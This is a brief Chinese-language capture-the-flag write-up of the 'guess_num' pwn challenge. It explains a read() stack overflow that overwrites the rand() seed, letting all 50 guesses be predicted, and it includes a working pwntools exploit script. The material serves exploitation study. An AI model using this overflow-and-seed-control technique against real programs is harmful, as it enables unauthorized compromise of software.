关于elf文件结构
.got全局偏移表
.plt程序链接表
#覆盖随机数种子
又是一个猜数游戏,checksec如下
存在溢出函数read,用time来作为当前的随机数种子
在sub_556DF3600A20中,v1为输入的数,v2为随机数,如果相等则win,返回1
当50次都输入正确是,进入sub_556DF3600B28函数,该函数将输出flag
因此,只要能知道随机数种子就可以预测每一次的数字,从而获得flag。
存在的溢出点read函数则可以帮助实现。
buf的大小为55,而read分配的空间为0x50,也就是80,buf在栈中到seed的偏移为64。
通过输入name进行溢出覆盖到seed,使得seed可控,从而可预测出随机数
利用exp如下:
from pwn import*
from ctypes import*
libc = cdll.LoadLibrary("./libc.so.6")
libc.srand(0x30303031)
sh = remote()
payload = b'a' * 64 + b'1000'
sh.sendlineafter("Welcome, let me know your name:", payload)
for i in range(50):
sh.sendlineafter("Give me the point(1~6):", str(libc.rand() % 6 + 1))
sh.interactive()
[[攻防世界pwn-guess_num]]